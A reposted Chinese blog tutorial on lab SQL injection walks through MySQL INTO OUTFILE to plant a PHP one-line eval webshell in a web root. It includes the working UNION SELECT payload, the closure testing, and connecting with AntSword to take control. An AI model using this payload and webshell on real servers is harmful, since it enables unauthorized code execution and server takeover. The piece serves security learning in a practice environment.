0


SQL注入——文件上传

一,mysql文件上传要点

1,show variables like '%secure%';用来查看mysql是否有读写文件的权限

2,数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限

3,into outfile命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径

二,文件上传指令

其实我们最终的目的是往目标靶场上上传一句话木马,或者是自己想上传的php文件。

文件上传的用法:

(1)直接可以写在网站的目录下面,然后可以当做一句话木马直接去连接

(2)发现目标网站有文件包含,同时数据库又具备写入一句话木马的权限进行利用

一句话木马

?id=-1')) union select 1,2,"<?php @eval($_POST['hyc']); ?>" into outfile "D:\phpstudy_pro\WWW\hyc.php" --+

<?php @eval($_POST['password']);?>

:一句话木马

password是预留密码,这里给的密码是hyc

D:\phpstudy_pro\WWW\是文件路径

hyc.php是新插入的文件名

三,实例

1,判断注入方式

当我们向里面传值的时候,会提示...outfile,说明可用文件上传注入

2,测试目标网站的闭合方式:

但是报错内容没有显示是哪里报错

于是我们使用--+看一下到底是不是’为闭合方式,如下图报错不变,所以闭合方式不是’

于是我们将进行更详细的测试:

当我们试到'))时,可以正常显示

当然在试的过程中可能会出现一些碰巧的情况,比如用”试得到的是一样的结果。

是因为正确答案'))的闭合方式使”无效

怎么解决呢?

我们可以用and 1=1和and 1=2来测试

双引号测试:

两种结果一样,说明”不是正确的结果。

单引号和双括号测试:

两种结果不一样,“错的就是错的“,所以我们找到了正确的闭合方式。

测试列数

3,写入一句话木马

在目标路径下可以看到写入的木马:

打开查看里面写入的内容:

4,拿到控制权

用蚁剑连一下目标靶场:

拿到了电脑的使用权,注入目标达成:

在这里也可以用whoami看到小皮的权限,我给的是普通用户的权限,不是管理员权限

接下来可以上传大马,反弹拿web shell

标签: 网络安全 php 安全

本文转载自: https://blog.csdn.net/heyingcheng/article/details/129461703
版权归原作者 是小何不是小盒呀 所有, 如有侵权,请联系我们删除。

“SQL注入——文件上传”的评论:

还没有评论